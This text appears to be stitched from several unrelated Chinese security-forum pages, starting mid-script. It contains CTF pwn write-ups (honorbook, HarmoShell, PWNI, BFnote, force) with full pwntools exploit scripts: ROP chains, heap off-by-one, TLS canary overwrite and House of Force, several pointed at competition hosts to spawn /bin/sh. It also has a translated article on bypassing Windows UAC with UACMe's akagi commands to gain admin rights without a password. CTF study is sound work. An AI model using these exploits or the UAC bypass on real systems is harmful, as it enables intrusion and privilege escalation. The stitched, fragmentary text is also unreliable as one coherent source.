payload = p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
return payload
main_addr = 0x4007e9
def Pwn():
read_plt = 0x601020
alarm_got = 0x601018
bin_sh_addr = 0x6010a0
gdb.attach(p, 'bp 0x4007fd')
#change alarm_got to syscall
payload = csu(0, 1, read_plt, 1, alarm_got, 0, csu_end_addr) + csu2(0,1,read_plt,59,bin_sh_addr,0, csu_end_addr)+csu3(0,1,alarm_got,0,0,bin_sh_addr,main_addr)
p.send(payload)
raw_input()
p.send(b'\x85')
raw_input()
p.send(b'/bin/sh\x00'.ljust(59, '\x00'))
p.interactive()
Pwn()
## 第二场
### honorbook
基于 riscv架构的，IDA不能反汇编，后面选择用
ghidra，发现也反汇编不了。但是，官网现在最新版的ghidra可以。一旦能够反汇编，这道题其实挺常规的。
#### 程序分析
void add(void)
{
longlong lVar1;
char *chunk_ptr;
void *name;
void *chunk;
char *size;
ulonglong idx;
lVar1 = __stack_chk_guard;
std::__ostream_insert<char,std::char_traits<char>>((basic_ostream *)std::cout,"ID: ",4);
scanf("%ld");
if (idx < 0x30) {
if (*(longlong *)(&gp0xfffffffffffffa60 + idx * 8) == 0) {
name = operator.new(0x20);
std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cout,"User name: ",0xb);
read(0,name,0x18);
chunk = malloc(0xe8);
*(void **)((longlong)name + 0x18) = chunk;
std::__ostream_insert<char,std::char_traits<char>>((basic_ostream *)std::cout,"Msg: ",5);
chunk_ptr = *(char **)((longlong)name + 0x18);
size = chunk_ptr + 0xe9;
do {
read(0,chunk_ptr,1);
if (*chunk_ptr == '\n') break;
chunk_ptr = chunk_ptr + 1;
} while (chunk_ptr != size);
*(void **)(&gp0xfffffffffffffa60 + idx * 8) = name;
}
}
if (lVar1 == __stack_chk_guard) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
在 Add函数中，在输入msg时，存在一个 off-by-one漏洞。
#### 利用分析
这道题libc是2.27的，那么就是一个简单的 tcache off-by-one漏洞，但是唯一的难点就是这道题无法使用
pwndbg等插件调试，对于看堆栈很不友好。
其次，就是其 libc地址中，总是会有 ‘\x00’出现，也就是我们输出地址时，只能输出部分地址，需要我们每次一字节的输出。
这道题的堆环境如下：
0x31
0xf1
0x31
0xf1
...
我们通过 0xf1的堆块，可以修改 0x31的堆头。做法就是修改 0x31为 0xf1，然后将其放入 tcache中，这样就可以绕过对于堆头size的检查。
然后我们再申请两次，那么就能够实现我们伪造的 fake_chunk 能够覆写 下一块 0xf1的堆块。
泄露地址时，每次覆盖一个字节，如果输出为 \n，则说明其下字节为 \x00。否则就能够输出其下一字节。
#### EXP
# encoding=utf-8
from pwn import *
file_path = "honorbook"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process(['./qemu-riscv64', '-L', "libs", file_path])
#p = remote('121.36.192.114',9999)
e =ELF('honorbook')
libc = ELF('./libs/lib/libc-2.27.so')
one_gadget = 0x0
else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0
def add(index, name, content):
p.sendlineafter("Code: ", "1")
p.sendlineafter("ID: ", str(index))
p.sendlineafter("User name: ", name)
p.sendlineafter("Msg: ", content)
def add2(index, name, content):
p.sendlineafter("Code: ", "1")
p.sendlineafter("ID: ", str(index))
p.sendafter("User name: ", name)
p.sendafter("Msg: ", content)
def dlt(index):
p.sendlineafter("Code: ", "2")
p.sendlineafter("ID: ", str(index))
def show(index):
p.sendlineafter("Code: ", "3")
p.sendlineafter("ID: ", str(index))
def edit(index, content):
p.sendlineafter("Code: ", "4")
p.sendlineafter("Index: ", str(index))
p.sendafter("Msg: ", content)
def Pwn():
for i in range(9):
add(i, b'aaaa', b'cccc')
add(11, b'aaaa', b'cccc')
add(12, b'aaaa', b'cccc')
add(13, b'aaaa', b'cccc')
add(14, b'aaaa', b'cccc')
dlt(4)
payload = 'a'*0xe0+p64(0)+'\xf1'
add2(4, b'aaaa', payload)
dlt(5)
add(9, b'aaaa', b'cccc') #0x30 -> 0xf0
add(10, b'aaaa', b'cccc') #0xf0
for i in range(5):
dlt(i)
dlt(6)
dlt(7)
dlt(10)
libc_addr = 0
mod = 1
for i in range(8):
edit(9, 'a'*(0x30+i))
show(9)
p.recvuntil("Msg: ")
addr = p.recvuntil(b"\n")
a = ord(addr[0x30+i])
if a == 0xa:
a = 0
libc_addr += a*mod
mod*=0x100
print(hex(libc_addr))
print(hex(libc.sym['__malloc_hook']+0x10+88))
libc_base = libc_addr - 88 -libc.sym['__malloc_hook']-0x10
print('libc_base:',hex(libc_base))
free_addr = libc_base+libc.sym['__free_hook']
print('free_addr:',hex(free_addr))
system_addr = libc.sym['system']+libc_base
pause()
for i in range(5):
add(i, b'aaa', b'ccc')
dlt(11)
payload ='a'*0xe0+p64(0)+'\xf1'
add2(11, b'aaaa', payload)
dlt(12)
payload = 'a'*0x10
add(15, b'aaaa', payload) #0x30
add(16, b'aaaa', b'cccc') #0xf0
pause()
dlt(13)
dlt(16)
payload = 'a'*0x20+p64(0)+p64(0xf1)+p64(free_addr)
edit(15, payload)
add(17, b'/bin/sh\x00', b'/bin/sh\x00')
payload = p64(system_addr)
add(18, b'/bin/sh', payload)
dlt(17)
# pause()
p.interactive()
Pwn()
## 第三场
### HarmoShell
#### 程序分析
void echo(longlong param_1)
{
longlong lVar1;
char **chunk_list;
char *chunk;
int file1;
ssize_t rsize;
undefined4 extraout_var;
undefined4 extraout_var_00;
undefined4 extraout_var_01;
size_t __nbytes;
char *file;
undefined8 flag;
undefined auStack320 [264];
lVar1 = *(longlong *)(param_1 + 8);
file = *(char **)(lVar1 + 8);
file1 = strcmp(file,">");
if (CONCAT44(extraout_var,file1) == 0) {
flag = 0;
}
else {
file1 = strcmp(file,">>");
flag = 1;
if (CONCAT44(extraout_var_00,file1) != 0) {
/* WARNING: Subroutine does not return */
FUN_00011490();
}
}
file = *(char **)(lVar1 + 0x10);
chunk_list = (char **)&gp0xfffffffffffffa60;
while ((chunk = *chunk_list, chunk == (char *)0x0 ||
(file1 = strcmp(file,chunk), CONCAT44(extraout_var_01,file1) != 0))) {
chunk_list = chunk_list + 1;
if (chunk_list == (char **)&gp0xfffffffffffffbe0) {
__nbytes = 0x200;
LAB_00011516:
rsize = read(0,auStack320,__nbytes);
copy(*(undefined8 *)(*(longlong *)(param_1 + 8) + 0x10),auStack320,(longlong)rsize,flag);
return;
}
}
__nbytes = *(size_t *)(chunk + 0x18);
goto LAB_00011516;
}
echo函数，最后读取用户输入时，存在栈溢出。
#### 利用分析
由于是 riscv64架构的，调试不了。但是感觉总体和 mips的做法差不多。
可以找到 csu地址，利用 csu来布置 参数和执行函数。
泄露地址，则利用c++ 自己的标准输出函数来泄露地址。
#### EXP
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file_path = ["./qemu-riscv64", '-L', './libs', './harmoshell']
#p = process(file_path)
p = remote('121.36.192.114',9999)
e = ELF("./harmoshell")
libc = ELF('./libs/lib/libc-2.27.so')
csu_f_addr = 0x0001182c
csu_e_addr = 0x0001181a
def csu(addr, a0, a1, a2):
p = p64(0)+p64(a2)+p64(a1)+p64(a0)+p64(1)+p64(0)
p += p64(addr)+p64(csu_e_addr)
return p
def csu_j(addr):
p = p64(0)+p64(0)+p64(0)+p64(0)+p64(1)+p64(0)
p += p64(0)+p64(addr)
return p
def Pwn():
for i in range(0x30):
p.sendlineafter('$', 'touch '+str(i))
cout_addr = 0x13118
read_got = 0x13060
stdaddr = 0x13080
payload = b'a'*(0x138)+p64(csu_f_addr)
payload += csu(stdaddr, cout_addr, read_got, 0x8)
payload += csu(read_got, 0, read_got, 0x10)
payload += csu(read_got, read_got+8, 0, 0x10)
p.sendlineafter('$', 'touch 1')
p.sendlineafter('$', 'echo > 48')
p.send(payload)
data = p.recv(6)
read_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = read_addr - libc.sym['read']
print('libc_base:',hex(libc_base))
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
print('bin_sh_addr:',hex(bin_sh_addr))
print('system_addr:',hex(system_addr))
p.sendline(p64(system_addr)+'/bin/sh\x00')
p.interactive()
Pwn()
### PWNI
#### 程序分析
32位 Arm的栈溢出，做法仍然是利用 csu来布置参数和执行函数。
#### 利用分析
.text:00010540 CMP R9, R5
.text:00010544 POPEQ {R4-R10,PC}
.text:00010548 LDR R3, [R4],#4
.text:0001054C MOV R2, R8
.text:00010550 MOV R1, R7
.text:00010554 MOV R0, R6
.text:00010558 BLX R3
.text:0001055C ADD R9, R9, #1
.text:00010560 B loc_10540
32位下的csu如上所示，参数布置基本变化不大，不过这里是一个循环，我们不需要再自己调整返回值。
此外，我们必须保证 R5为1，这样才不会跳出该循环。
#### EXP
# encoding=utf-8
from pwn import *
file_path = "bin"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
#p = process(['./qemu-riscv64', '-L', "libs", '-g','1234',file_path])
p = process(["qemu-arm", "-L", "./libc-2.31.so", file_path])
#p = remote('121.36.192.114',9999)
e =ELF(file_path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('139.159.210.220', 9999)
libc = ELF('./libc-2.31.so')
one_gadget = 0x0
def Pwn():
#p = remote('139.159.210.220', 9999)
# p = remote("127.0.0.1", 10004)
p.recvuntil('input: ')
pop_r3_ret = 0x10348
pop_s = 0x10540 #popeq {r4, r5, r6, r7, r8, sb, sl, pc}; ldr r3, [r4], #4; mov r2, r8; mov r1, r7; mov r0, r6; blx r3;
pop_r4_ret = 0x10498
printf_got = 0x2100c
read_got = 0x21010
setvbuf = 0x2101c
payload = 'a'*0x104
payload += p32(pop_s)+p32(printf_got) #r4
payload += p32(1)+p32(read_got) #r5, r6
payload += p32(0)+p32(0) #7, r8
payload += p32(0)*2 + p32(0x10548)
payload += p32(read_got)+p32(1)+p32(0)+p32(read_got)+p32(16)
payload += p32(0)*2 + p32(0x10548)
payload += p32(read_got)+p32(1)+p32(read_got+4)+p32(0)+p32(0)
payload += p32(0)*2 +p32(0x10548)
p.sendline(payload)
read_addr = u32(p.recv(4))
libc_base = read_addr-libc.sym['read']
print('libc_base:',hex(libc_base))
print('read:',hex(read_addr))
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh\x00'))
print("system_addr:",hex(system_addr))
#p.recvuntil('input: ')
p.sendline(p32(system_addr)+'/bin/sh\x00')
p.interactive()
Pwn() | 社区文章 |
# UAC简介
在完全启用用户帐户控制(UAC)的情况下，交互式管理员通常以最小的用户权限运行，但是他们可以通过使用Consent
UI提供显式准许来提升权限以执行管理任务。此类管理任务包括安装软件和驱动程序、更改系统范围的设置、查看或更改其他用户帐户以及运行管理工具。
在以最小特权运行时，管理员称为受保护的管理员，除此之外，还有超级管理员。相比之下，标准用户不能自己提升权限，但他们可以要求管理员使用Credential
UI来提升他们的权限。内置管理员帐户不需要提升权限。
Contest UI，提升受保护的管理员从而获得管理权限。
Credential UI，用于提升标准用户权限。
# UAC的好处
它减少了以较高的权限运行的程序数量，因此有助于防止用户意外更改其系统设置，并有助于防止“恶意软件”获得系统范围的访问权限。拒绝提升权限，恶意软件只能影响当前用户的数据，并且恶意软件将无法进行系统范围的更改或影响其他用户。对于管理环境，设计良好的UAC体验允许用户在以标准用户身份运行时通过消除不必要的限制来提高工作效率。它使标准用户能够要求管理员授予他们在当前会话中执行管理任务的权限。对于家庭环境，它使家长能够更好地控制系统范围的变化，包括安装了什么软件。[1]
与Windows Vista一样，受保护的管理员有权力决定是否收到有关所有系统更改的通知。UAC默认设置是通知所有管理员用户关于系统的更改。
收到通知后，您的桌面将变暗，您必须在UAC对话框中批准或拒绝该请求，然后才能在计算机上执行任何其他操作。桌面变暗称为安全桌面，因为其他程序在变暗时无法运行。
除了Windows Vista中的两个设置外，Windows
7还为受保护的管理员引入了两个中间UAC设置。第一种方法是仅在程序进行更改时通知用户，因此管理员在自己更改程序时会自动提升权限。这是Windows
7中的UAC默认设置，它还会使用安全桌面。
Windows7中的第二个中间设置与第一个相同，只是它不使用安全桌面。
Windows7引入了两个中间UAC设置。
因此，简而言之，UAC是所有windows操作系统中存在的一个非常重要的功能，它将确保您的系统避免一些攻击，并且每次操作执行都要经过管理员权限的批准。[2]
# 击败Windows用户帐户控制
1.UACMe: <https://github.com/hfiref0x/UACME>
2.系统要求：x86-32/x64 Windows
7/8/8.1/10(TH1/TH2/RS1/RS2/RS3/RS4)(客户端，但某些方法也适用于服务器版本)。
3.需要UAC设置为默认的管理员帐户。
第一个参数是要使用的方法数量，第二个参数是要运行的可选命令(可执行文件名，包括完整路径)。第二个参数可以是空的，在这种情况下，程序将从System32文件夹执行cmd.exe来提升权限。
# 运行实例
akagi32.exe 1
akagi64.exe 3
akagi32 1 c:\windows\system32\calc.exe
akagi64 3 c:\windows\system32\charmap.exe
# Proof of Concept
**POC：1：Windows 7：64位：旗舰版 UAC绕过**
用户名：Lucideus-TestUser
特权：标准用户
whoami命令的输出结果表明，我们只能使用有限的权限进入用户模式。
从命令行运行可执行文件：`akagi32 [Key] [Param]` 或 `akagi64 [Key]
[Param]`。有关更多信息，请参见下面的“运行示例”。
**POC 2：Windows 8.1 Pro**
在我们输入密码后，我们不会得到管理员特权。
您可以通过以下方式进行检查：-whami(cmd中输入)
从命令行运行可执行文件：`akagi32 [Key] [Param]`或`akagi64 [Key] [Param]`。
有关详细信息，请参阅下面的“运行示例”。
在Windows8.1专业版中与Windows7旗舰版相同。
在这里，我们也获得了管理特权，而不需要任何密码或任何特殊许可。
**POC 3 : Windows 10 Pro**
在我们输入密码后，我们无法获得管理员权限
您可以通过以下方式检查： - whoami（cmd中输入）
如您所见，我们不是管理员
然后运行 ——> `akagi32 [Key] [Param]`或`akagi64 [Key] [Param]`
我们无需任何密码或任何特殊许可即可获得管理员特权。
解决方案：自定义规则集组策略编辑
# 组策略设置
可以为用户帐户控制(UAC)配置10个组策略设置。下表列出了每个策略设置的默认设置，以下各节解释了不同的UAC策略设置并提供了建议。这些策略设置位于“本地安全策略”管理单元中的“安全设置\本地策略\安全选项”中。有关修补相关内容的更多信息，请参阅以下链接：
<https://docs.microsoft.com/en-gb/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings>
本文链接：https://medium.com/@lucideus/privilege-escalation-on-windows-7-8-10-lucideus-research-c8a24aa55679 | 社区文章 |
# 2020-i春秋-公益CTF复盘-Pwn
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
在这次比赛中，有一些题还是很有亮点的，也是在比赛中学到了一些新知识，特此记录~
## 0x02 FirstDay_BFnote
本题由`5k1l[@W](https://github.com/W "@W")&M`、`咲夜南梦[@W](https://github.com/W
"@W")&M`提供了思路提示，在此表示感谢~
### 题目信息
题目流程较为明确，在Description和postscript处存在明显的栈溢出，但是题目开启了Canary保护导致栈溢出较难利用，程序接下来虽然产生了heap操作，但是因为没有free，且没有重复操作，导致heap几乎无法利用。
进一步可以看出，程序在`Line 24`进行了判断以保证`i`满足`i <= size -0x20`防止越界操作。但是！接下来读取`note`的内容时，程序却使用了`read(0, ¬ebook[title_size + 0x10],
size - title_size - 0x10);`。也就是说，此处并没有使用安全的`i`作为下标，于是存在一个越界写。
### Canary 绕过
#### Canary实现
canary的实现分为两部分, gcc编译时选择canary的插入位置, 以及生成含有canary的汇编代码, glibc产生实际的canary值,
以及提供错误捕捉函数和报错函数. 也就是gcc使用glibc提供的组件, gcc本身并不定义. 这样会让canary的值会是一个运行时才动态知道的值,
而不能通过查看静态的bianry得到。
此处我们重点研究glibc部分的实现：
首先是`/Glibc-2.23/debug/stack_chk_fail.c`，
明显可以看出关于函数退出时的定义：
接下来来看看Glibc是如何生成Canary值的，首先给出调用栈：
#0 security_init () at rtld.c:854
#1 dl_main () at rtld.c:1818 //相当于glibc/dynamic-linker的main
#2 _dl_sysdep_start () at ../elf/dl-sysdep.c:249
#3 _dl_start_final () at rtld.c:331
#4 _dl_start () at rtld.c:557
#5 _start () from /lib/ld-linux.so.2// glibc/dynamic-linker入口
可以看出，主函数的逻辑还是很简单的，
其实_dl_random的值在进入这个函数的时候就已经由kernel写入了. 也就是说glibc直接使用了_dl_random的值并没有给赋值,
进入下面的函数会看到其实如果不是采用TLS这种模式支持, glibc是可以自己产生随机数的. 但是做为普遍情况来说,
_dl_random就是由kernel写入的.
所以_dl_setup_stack_chk_guard()的行为就是将_dl_random的最后一个字节设置为0x00。
接下来，如果glibc中定义了THREAD_SET_STACK_GUARD则canary会被放在tls中，如果THREAD_SET_STACK_GUARD未定义则canary会被放在.bss中
一般来说，程序会启用TLS结构体机制，这会导致程序进入宏定义的第一部分。
接下来的逻辑暂时没有跟进的需要,功能是将canary的值加入TLS结构体，那么TLS结构体是如何生成的呢。
生成TLS结构体的函数位于`glibc-2.23/elf/dl-tls.c`
可以看到，程序事实上调用了`__libc_memalign`函数来分配内存，而
**`__libc_memalign`函数最终事实上调用的是`mmap`函数**！
#### 劫持TLS结构体
事实上，我们如果能够改写TLS结构体的内容，我们就能够直接覆盖Canary！
而刚刚说过，TLS结构体使用的是`mmap`函数分配的，如果我们能够直接使用mmap分配一个`Chunk`，就可以分配到和TLS结构体相邻的位置。而对于malloc函数来说，如果size足够大就能直接通过mmap分配内存给chunk！
我们一般设置size为`0x21000`或以上。
此处payload为：
sh.recvuntil('nGive your notebook size : ')
sh.sendline(str(int(0x24000)))
#### 覆盖TLS中的Canary内容
此处我们需要计算出TLS结构体中Canary和我们可写起始地址的距离，我们通过调试计算，
首先在`0x080488C9`处下断点。
可以看到，栈顶的`0xf7db8008`就是我们的`note_book`指针指向位置
然后使用`search`命令可以快速定位TLS中的canary值位置。
可以计算偏移为`0x2570C`。
那么我们可以将`title_size`设置为`0x2570C`。
sh.recvuntil('Give your title size : ')
sh.sendline(str(int(0x2570C - 0x10)))
那么接下来向note写值时，程序将会向`notebook[title_size + 0x10]`即`0xf7db8008 + 0x2570C - 0x10
+ 0x10`处写值。
sh.recvuntil('invalid ! please re-enter :n')
sh.sendline(str(int(0x10)))
sh.recvuntil('nGive your title : ')
sh.sendline('x00' * 0xF)
sh.recvuntil('Give your note : ')
sh.send('A' * 4)
#### Canary Bypass 验证
sh.recvuntil('nGive your description : ')
sh.sendline('A' * 0x32 + 'AAAA' + p32(0))
sh.recvuntil('Give your postscript : ')
sh.sendline('Check')
sh.recvuntil('nGive your notebook size : ')
sh.sendline(str(int(0x24000)))
sh.recvuntil('Give your title size : ')
sh.sendline(str(int(0x2570C - 0x10)))
sh.recvuntil('invalid ! please re-enter :n')
sh.sendline(str(int(0x10)))
sh.recvuntil('nGive your title : ')
sh.sendline('x00' * 0xF)
sh.recvuntil('Give your note : ')
sh.send('A' * 4)
可以看到，Canary检查已经通过。
### 构造ROP链——思路一
接下来我们发现程序中没有合适的泄露函数以供我们leak libc。
⚠️：fwrite和fprintf都需要传入`stdout`的真实地址，而非存储`stdout`的地址。
那么，我们需要换一个思路来完成ROP构造，此时我们考虑使用Open-Read-Write来完成攻击。
但是很明显程序中没有fopen函数以供我们使用，我们考虑使用爆破的思路，但是使用symbols查看时，发现`fopen`和`fwrite`相距很远，无法构成爆破条件。
但是在实际调试时发现地址出现了很大的变化！
经过查看libc内部符号发现，libc内居然存在两个fopen符号
而`Pwntools`中的`elf.symbols`明显属于使用了2.0版本的fopen。
这里发生的是glibc动态链接器支持符号版本控制，glibc使用它。 它从glibc 2.1导出一个版本的`fopen` ，从glibc
2.0导出一个具有不同接口的向后兼容版本。
那么我们就可以完成爆破脚本的编写了。
### Final Exploit——思路一
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'
BFnote=ELF('./BFnote', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
else:
return process("./BFnote")
def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address+offset)))
return return_address+offset
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False):
gdb.attach(sh)
if stop :
raw_input()
if __name__ == "__main__":
sh = get_sh()
ppp_ret = 0x080489d9
pp__ret = 0x080489da
flag_st = 0x0804A060
read_md = 0x0804A068
payload = '/flagx00x00x00'
payload += 'rx00x00x00x00x00x00x00'
payload = payload.ljust(0x400,'x00')
payload += p32(BFnote.plt['read'])
payload += p32(ppp_ret)
payload += p32(0) # fd
payload += p32(BFnote.got['fwrite']) # buf
payload += p32(2) # size
payload += p32(BFnote.plt['fwrite'])
payload += p32(pp__ret)
payload += p32(flag_st) # file name
payload += p32(read_md) # open mode
payload += p32(BFnote.plt['read'])
payload += p32(ppp_ret)
payload += p32(3) # fd
payload += p32(flag_st + 0x40) # buf
payload += p32(0x40) # size
payload += p32(BFnote.plt['read'])
payload += p32(ppp_ret)
payload += p32(0) # fd
payload += p32(BFnote.got['read']) # buf
payload += p32(1) # size
payload += p32(BFnote.plt['read'])
payload += p32(ppp_ret)
payload += p32(1) # fd
payload += p32(flag_st + 0x40) # buf
payload += p32(0x40) # size
sh.recvuntil('nGive your description : ')
sh.sendline('A' * 0x32 + 'AAAA' + p32(0) + p32(0x804A460 + 4))
sh.recvuntil('Give your postscript : ')
sh.sendline(payload)
sh.recvuntil('nGive your notebook size : ')
sh.sendline(str(int(0x24000)))
sh.recvuntil('Give your title size : ')
sh.sendline(str(int(0x2570C - 0x10)))
sh.recvuntil('invalid ! please re-enter :n')
sh.sendline(str(int(0x10)))
sh.recvuntil('nGive your title : ')
sh.sendline('x00' * 0xF)
sh.recvuntil('Give your note : ')
sh.send('A' * 4)
raw_input('>')
sh.send(p16((sh.libc.address+0x5e400) & 0xffff))
raw_input('>')
sh.send('x70')
sh.interactive()
flag=get_flag(sh)
log.success('The flag is '+flag)
⚠️：sh.libc.address在remote模式下不可用，需要写死后两个字节，1/16的运行成功几率。
### 构造ROP链——思路二
在`ROPgadget`中，我们看到了这样的`gadget`
然而我们又能通过`pop ebp`这个gadget直接控制ebp的值，那么我们就可以做到一个有限的任意地址写。
可以看到，程序中和system离得最近，且小于system的函数是`exit()`，但是`exit()`函数未曾调用过，因此延迟绑定还没有生效。
那么我们可以首先控制ebp为`atol[@GOT](https://github.com/GOT "@GOT") + 1 + 0x17fA8b40`。
然后执行`0x3AD - 0x2d2 = 0xDB`次的`inc dword ptr [ebp - 0x17fa8b40] ; ret
0`这相当于是对`atol[@GOT](https://github.com/GOT
"@GOT")`做了`+0xDB00`操作，然后在调用`read`向`atol[@GOT](https://github.com/GOT
"@GOT")`低位写入1字节，即可成功劫持`atol`函数的GOT表地址。
### Final Exploit——思路二
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'
BFnote=ELF('./BFnote', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
else:
return process("./BFnote")
def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address+offset)))
return return_address+offset
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False):
gdb.attach(sh)
if stop :
raw_input()
if __name__ == "__main__":
sh = get_sh()
p___ret = 0x080489db
pp__ret = 0x080489da
ppp_ret = 0x080489d9
binsh_a = 0x0804A060
read_md = 0x0804A068
payload = '/bin/shx00'
payload = payload.ljust(0x200,'x00')
payload += p32(p___ret)
payload += p32(BFnote.got['atol'] + 1 + 0x17fA8b40)
payload += p32(0x08048434) * 0xDB
payload += p32(BFnote.plt['read'])
payload += p32(ppp_ret)
payload += p32(0) # fd
payload += p32(BFnote.got['atol']) # buf
payload += p32(1) # size
payload += p32(BFnote.plt['atol'])
payload += p32(p___ret)
payload += p32(binsh_a)
sh.recvuntil('nGive your description : ')
sh.sendline('A' * 0x32 + 'AAAA' + p32(0) + p32(0x804A260 + 4))
sh.recvuntil('Give your postscript : ')
sh.sendline(payload)
sh.recvuntil('nGive your notebook size : ')
sh.sendline(str(int(0x24000)))
sh.recvuntil('Give your title size : ')
sh.sendline(str(int(0x2570C - 0x10)))
sh.recvuntil('invalid ! please re-enter :n')
sh.sendline(str(int(0x10)))
sh.recvuntil('nGive your title : ')
sh.sendline('x00' * 0xF)
sh.recvuntil('Give your note : ')
sh.send('A' * 4)
raw_input('>')
sh.send('xA0')
sh.interactive()
flag=get_flag(sh)
log.success('The flag is '+flag)
## 0x03 FirstDay_force
### 题目信息
全保护程序
### 漏洞分析
可以发现，程序中只有一个add的功能，没有其他函数可以用，并且发现了一处明显的越界写可以用来劫持`Top Chunk`。
于是使用`House of force`的攻击思路。
#### Leak Libc
可以发现程序会告诉我们我们申请下来的chunk的位置，那么当我们申请一个极大Chunk时，程序会调用`mmap`进行内存分配，分配下来的地址是libc跟随的地址。
sh.recvuntil('2:puts')
sh.sendline('1')
sh.recvuntil('size')
sh.sendline(str(0x100000))
libc_base = get_address(sh,'We get libc base address is ','bin addr 0x','n',-0x4D2010,True)
malloc_hook_addr = libc_base + libc.symbols['__malloc_hook']
sh.sendline('Chunk0')
#### 劫持Top Chunk
构造如下payload可以修改Top Chunk的size域为`0xFFFFFFFFFFFFFFFF`，顺便泄露heap地址
sh.recvuntil('2:puts')
sh.sendline('1')
sh.recvuntil('size')
sh.sendline(str(0x20))
heap_base = get_address(sh,'We get heap base address is ','bin addr 0x','n',-0x10,True)
sh.sendline(p64(0) * 5 + p64(0xFFFFFFFFFFFFFFFF))
#### 劫持`__malloc_hook`
接下来我们要将Top_Chunk”推”到我们想要劫持的`__malloc_hook`处。
> 首先是libc会检查用户申请的大小，top chunk是否能给的起，如果给得起，就由top
> chunk的head处，以用户申请大小所匹配的chunk大小为偏移量，将top chunk的位置推到新的位置，而原来的top chunk
> head处就作为新的堆块被分配给用户了：试想，如果我们能控制top
> chunk在这个过程中推到任意位置，也就是说，如果我们能控制用户申请的大小为任意值，我们就能将top
> chunk劫持到任意内存地址，然后就可以控制目标内存。
sh.recvuntil('2:puts')
sh.sendline('1')
sh.recvuntil('size')
sh.sendline(str(malloc_hook_addr - heap_base - 0x50))
sh.recvuntil('content')
sh.sendline('Anyvalue')
那么我们接下来就可以顺利的劫持`__malloc_hook`了。
sh.recvuntil('2:puts')
sh.sendline('1')
sh.recvuntil('size')
sh.sendline(str(0x10))
sh.recvuntil('content')
sh.sendline(p64(libc_base + libc.symbols['system']))
### Final Exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
force=ELF('./force', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
else:
return process("./force")
def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address+offset)))
return return_address+offset
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False):
gdb.attach(sh)
if stop :
raw_input()
if __name__ == "__main__":
sh = get_sh()
sh.recvuntil('2:puts')
sh.sendline('1')
sh.recvuntil('size')
sh.sendline(str(0x100000))
libc_base = get_address(sh,'We get libc base address is ','bin addr 0x','n',-0x4D2010,True)
sh.sendline('Chunk0')
sh.recvuntil('2:puts')
sh.sendline('1')
sh.recvuntil('size')
sh.sendline(str(0x20))
heap_base = get_address(sh,'We get heap base address is ','bin addr 0x','n',-0x10,True)
sh.sendline(p64(0) * 5 + p64(0xFFFFFFFFFFFFFFFF))
sh.recvuntil('2:puts')
sh.sendline('1')
sh.recvuntil('size')
